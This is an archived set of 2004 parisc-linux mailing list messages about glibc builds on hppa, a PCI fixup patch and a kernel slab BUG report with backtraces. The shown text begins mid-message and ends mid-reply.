connections.c: In function `start_threads':
connections.c:1462: warning: implicit declaration of function `pthread_co=
ndattr_setclock'

And pthread_condattr_setclock afaik is only in nptl while am i going to
build with linuxthreads only:
the configure cmdline being "../../sources/glibc/configure --target=3Dhpp=
a-linux
--host=3Dhppa-linux --build=3Dhppa-linux --prefix=3D/usr --without-cvs --=
enable-hacker-mode
--enable-add-ons=3Dlinuxthreads --enable-profile --with-headers=3D/Develo=
p/parisc-linux/sources/linux/include"

Any idea?

Thanks,
    Joel
 

-------------------------------------------------------------------------=
--
Tiscali ADSL GO, 29,50 Euro/mois pendant toute une ann=E9e, profitez-en..=
..
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Sort generic PCI fixups after specific ones
Date: Tue, 5 Oct 2004 16:29:59 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20041005152959.GX16153__25141.5134560832$1416624490$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <20040922214304.GS16153@parcelfarce.linux.theplanet.co.uk> <20040923172038.GA8812@kroah.com> <20040923173151.GX16153@parcelfarce.linux.theplanet.co.uk> <20040924023357.A2526@jurassic.park.msu.ru> <20040930174155.GT16153@parcelfarce.linux.theplanet.co.uk> <20041002014817.A24292@jurassic.park.msu.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624490 25965 80.91.229.3 (22 Nov 2014 02:48:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:10 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
 Greg KH <greg@kroah.com>,
 Linus Torvalds <torvalds@osdl.org>,
 Andrew Morton <akpm@zip.com.au>,
 linux-kernel@vger.kernel.org,
 linux-pci@atrey.karlin.mff.cuni.cz,
 parisc-linux@parisc-linux.org
To: Ivan Kokshaysky <ink@jurassic.park.msu.ru>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <linux-kernel-owner+deller=40gmx.de-S269144AbUJEPaZ@vger.kernel.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 7276 invoked by uid 65534); 5 Oct 2004 15:37:37 -0000
Original-Received: from vger.kernel.org (EHLO vger.kernel.org) (12.107.209.244)
  by mx0.gmx.net (mx019) with SMTP; 05 Oct 2004 17:37:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S269144AbUJEPaZ (ORCPT <rfc822;deller@gmx.de>);
	Tue, 5 Oct 2004 11:30:25 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S269150AbUJEPaZ
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Tue, 5 Oct 2004 11:30:25 -0400
Original-Received: from parcelfarce.linux.theplanet.co.uk ([195.92.249.252]:57581 "EHLO
	www.linux.org.uk") by vger.kernel.org with ESMTP id S269144AbUJEPaG
	(ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Tue, 5 Oct 2004 11:30:06 -0400
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CErGJ-0007tc-To; Tue, 05 Oct 2004 16:29:59 +0100
Content-Disposition: inline
In-Reply-To: <20041002014817.A24292@jurassic.park.msu.ru>
User-Agent: Mutt/1.4.1i
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
X-Mailing-List: linux-kernel@vger.kernel.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24961

On Sat, Oct 02, 2004 at 01:48:17AM +0400, Ivan Kokshaysky wrote:
> On Thu, Sep 30, 2004 at 06:41:55PM +0100, Matthew Wilcox wrote:
> > Allow prioritising PCI fixups.  "How it works" is covered in the comment
> > in pci.h.  The patch to superio.c may well only apply with fuzz to the
> > current Linux tree; I include it only to show an example.
> 
> No, you missed my point.
> What we need is yet another PCI fixup *pass*, not prioritizing fixups
> inside *one* pass - see appended patch (compile tested only).

Boot tested.  Works fine for my problem child.  Greg, can you apply
Ivan's patch, please?

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain

From - Thu Nov 08 21:36:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: hppa glibc 2.3.3
Date: Wed, 6 Oct 2004 00:56:46 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20041006045646.GJ23260@baldric.uwo.ca>
References: <200409271755.i8RHtNoa017851@hiauly1.hia.nrc.ca>
	<Pine.LNX.4.58.0409272134390.422@trillian.uni>
	<20040928032200.GF27033@baldric.uwo.ca>
	<Pine.LNX.4.58.0410050846320.924@trillian.uni>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624490 25969 80.91.229.3 (22 Nov 2014 02:48:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:10 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Elliott Potter <mailinglist@eep.burdell.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 23090 invoked by uid 65534); 6 Oct 2004 04:57:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx015) with SMTP; 06 Oct 2004 06:57:57 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9CAB23BDCE; Tue,  5 Oct 2004 22:57:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23678-02; Tue, 5 Oct 2004 22:57:33 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 191403BDD6; Tue,  5 Oct 2004 22:57:03 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7FC603BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Oct 2004 22:56:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 21412-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Oct 2004 22:56:58 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id DD5C63BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Oct 2004 22:56:57 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 79F6C49474B; Tue,  5 Oct 2004 22:56:57 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by palinux.hppa (Postfix) with ESMTP id 08629494735
	for <parisc-linux@parisc-linux.org>;
	Tue,  5 Oct 2004 22:56:56 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1CF3r5-0006KS-00; Wed, 06 Oct 2004 00:56:47 -0400
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0410050846320.924@trillian.uni>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (45% Sync Ratio [=====.....])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24962

On Tue, Oct 05, 2004 at 08:47:56AM -0500, Elliott Potter wrote:
> > This was a bug fixed upstream, where the nscd thread daemon was using
> > NPTL related syscalls when it shouldn't. Pull cvs again and that should
> > fit the problem.
> 
> Just an update, this seemed to work just fine.  I'm going to play with
> it a bit in my chroot environment and see how it works.

Perfect. I'm working on a variant where I've forward ported the debian
specific patches into upstream head.

Please report back if you have any problems, or if you have success :)

e.g. Try installing Xnest + gnome, and run some stuff remotely?

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel BUG at mm/slab.c:1889
Date: Wed, 6 Oct 2004 13:06:45 +0000
Lines: 92
Approved: news@gmane.org
Message-ID: <4161756A00000986@mail-5-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624491 25978 80.91.229.3 (22 Nov 2014 02:48:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:11 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 12788 invoked by uid 65534); 6 Oct 2004 13:07:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx055) with SMTP; 06 Oct 2004 15:07:18 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 35BAC3BDD6; Wed,  6 Oct 2004 07:07:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26469-09; Wed, 6 Oct 2004 07:07:05 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A3CFA3BDDD; Wed,  6 Oct 2004 07:06:41 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6ED1E3BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Oct 2004 07:06:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 26449-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 6 Oct 2004 07:06:32 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 12C5D3BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Oct 2004 07:06:32 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 6164F494735; Wed,  6 Oct 2004 07:06:31 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail-5-bnl.tiscali.it (mail-5-bnl.tiscali.it [213.205.33.225])
	by palinux.hppa (Postfix) with ESMTP id 9F8EA494734
	for <parisc-linux@parisc-linux.org>;
	Wed,  6 Oct 2004 07:06:30 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail-5-bnl.tiscali.it with HTTP;
	Wed, 6 Oct 2004 15:06:45 +0200
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24963

Hello pa-*,

Building latest glibc cvs over an nfs the system halted with following ms=
g:

kernel BUG at mm/slab.c:1889!
Backtrace:
 [<0000000010114748>] dump_stack+0x20/0x38
 [<000000001017ea80>] cache_free_debugcheck+0x3d0/0x438
 [<000000001017fdb0>] kmem_cache_free+0x50/0x130
 [<00000000101c2f24>] d_callback+0x64/0x80
 [<000000001016048c>] rcu_do_batch+0x54/0xf8
 [<0000000010160774>] __rcu_process_callbacks+0x94/0x148
 [<0000000010160870>] rcu_process_callbacks+0x48/0x98
 [<000000001014f31c>] tasklet_action+0xec/0x140
 [<000000001014ee14>] __do_softirq+0x7c/0x128
 [<000000001010f920>] __lock_text_end+0x68/0x78
 [<0000000010116634>] do_irq+0x14c/0x1a0
 [<0000000010116768>] do_cpu_irq_mask+0xe0/0x150
 [<0000000010107074>] intr_return+0x0/0x14
 [<000000001010d18c>] __udivdi3+0x1c/0x30
 [<00000000101423e4>] effective_prio+0x8c/0xc0
 [<00000000101bbfd0>] locate_fd+0x130/0x1d0

Here are some additional info:
kernel 2.6.9-rc3-pa3 64bit +DEBUG_SLAB (lastest cvs 2004-10-05) (+I K sup=
erio
patch)
# hppa64-linux-a -v
hppa64-linux-addr2line  hppa64-linux-ar         hppa64-linux-as        

# hppa64-linux-as -v
GNU assembler version 2.14.90 (hppa64-linux) using BFD version 2.14.90 20=
040204

System model: b2000 

mmm 32bit (same kernel src) just panic (more quickly then 64bit :( ):

 [<10348c1c>] xprt_transmit+0xec/0x518
 [<10346898>] call_transmit+0x5c/0xbc
 [<1034abc8>] __rpc_execute+0x344/0x444


Kernel Fault: Code=3D15 regs=3D1c050ac0 (Addr=3D593f3c9e)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  00000000 103e7094 1014c7b0 00000000
r04-07  593f3c9e 00000800 00000000 000007ff
r08-11  593f3c9a 1050eb00 10362000 1b4b5298
r12-15  1c593830 00000000 000005dc 1ccb1bf0
r16-19  00000014 00000000 000005dc 00052c00
r20-23  00000001 1073109c 00000003 102e6958
r24-27  593f3c9a 593f3c9a 1050eb00 103c5010
r28-31  00000800 17013b6c 1c050ac0 1147e000
sr0-3   00000000 00000000 00000000 000008ca
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1014c7c4 1014c7c8
 IIR: 0c830013    ISR: 00000000  IOR: 593f3c9e
 CPU:        0   CR30: 1c050000 CR31: 10494000
 ORIG_R28: 00000000
 IAOQ[0]: check_poison_obj+0x54/0x230
 IAOQ[1]: check_poison_obj+0x58/0x230
 RP(r2): check_poison_obj+0x40/0x230
Kernel panic - not syncing: Kernel Fault

# gcc -v
gcc version 3.3.4 (Debian 1:3.3.4-13)
# as -v
GNU assembler version 2.15 (hppa-linux) using BFD version 2.15

This last one seems much more related to nfs?

Joel

-------------------------------------------------------------------------=
--
Tiscali ADSL GO, 29,50 Euro/mois pendant toute une ann=E9e, profitez-en..=
..
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa glibc 2.3.3
Date: Thu, 7 Oct 2004 11:29:00 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20041007152900.GU23260@baldric.uwo.ca>
References: <20041006045646.GJ23260@baldric.uwo.ca>
	<4161729B00001345@mail-1-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624491 25979 80.91.229.3 (22 Nov 2014 02:48:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:11 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 27665 invoked by uid 65534); 7 Oct 2004 15:30:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx012) with SMTP; 07 Oct 2004 17:30:43 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2E05D3BDCA; Thu,  7 Oct 2004 09:30:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07724-07; Thu, 7 Oct 2004 09:30:15 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1854B3BDCE; Thu,  7 Oct 2004 09:29:44 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B299F3BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Oct 2004 09:29:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07724-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 7 Oct 2004 09:29:39 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 4306C3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Oct 2004 09:29:39 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id A4A8F49473F; Thu,  7 Oct 2004 09:29:38 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by palinux.hppa (Postfix) with ESMTP id 140FF494734
	for <parisc-linux@parisc-linux.org>;
	Thu,  7 Oct 2004 09:29:37 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1CFaCT-0005vZ-00; Thu, 07 Oct 2004 11:29:01 -0400
Content-Disposition: inline
In-Reply-To: <4161729B00001345@mail-1-bnl.tiscali.it>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (45% Sync Ratio [=====.....])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24964

On Thu, Oct 07, 2004 at 01:56:09PM +0200, Joel Soete wrote:
> Since the Oct 1, I try desperately to complete the glibc cvs build but without
> success:

a. Build an 'unstable' chroot. Enter the chroot.
b. apt-get build-dep glibc
c. Pull down glibc cvs head.
d. Apply the latest hppa patch set.
e. Build glibc.

I suggest the chroot method because it seems that you might have
problems with your environment. In particular I always try a chroot
build if something seems funny.

Cheers,
Carlos.


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa glibc 2.3.3
Date: Thu, 7 Oct 2004 18:08:46 +0200
Lines: 87
Approved: news@gmane.org
Message-ID: <4161729B000014F1@mail-1-bnl.tiscali.it>
References: <20041007152900.GU23260@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624491 25982 80.91.229.3 (22 Nov 2014 02:48:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:11 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 29534 invoked by uid 65534); 7 Oct 2004 16:09:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx056) with SMTP; 07 Oct 2004 18:09:59 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 27A203BC80; Thu,  7 Oct 2004 10:09:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08089-09; Thu, 7 Oct 2004 10:09:57 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BA95A3BDCE; Thu,  7 Oct 2004 10:09:40 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4804A3BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Oct 2004 10:09:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 08751-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 7 Oct 2004 10:09:35 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id A45CE3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Oct 2004 10:09:34 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id BC0D849473F; Thu,  7 Oct 2004 10:09:33 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail-1-bnl.tiscali.it (mail-1-bnl.tiscali.it [213.205.33.221])
	by palinux.hppa (Postfix) with ESMTP id 21038494734
	for <parisc-linux@parisc-linux.org>;
	Thu,  7 Oct 2004 10:09:32 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail-1-bnl.tiscali.it with HTTP;
	Thu, 7 Oct 2004 18:08:46 +0200
In-Reply-To: <20041007152900.GU23260@baldric.uwo.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24965


> -- Original Message --
> Date: Thu, 7 Oct 2004 11:29:00 -0400
> From: Carlos O'Donell <carlos@baldric.uwo.ca>
> To: Joel Soete <soete.joel@tiscali.be>
> Cc: parisc-linux@parisc-linux.org
> Subject: Re: [parisc-linux] Re: hppa glibc 2.3.3
> 
> 
> On Thu, Oct 07, 2004 at 01:56:09PM +0200, Joel Soete wrote:
> > Since the Oct 1, I try desperately to complete the glibc cvs build bu=
t
> without
> > success:
> 
> a. Build an 'unstable' chroot. Enter the chroot.
> b. apt-get build-dep glibc
> c. Pull down glibc cvs head.
> d. Apply the latest hppa patch set.
> e. Build glibc.
> 
> I suggest the chroot method because it seems that you might have
> problems with your environment. In particular I always try a chroot
> build if something seems funny.
> 
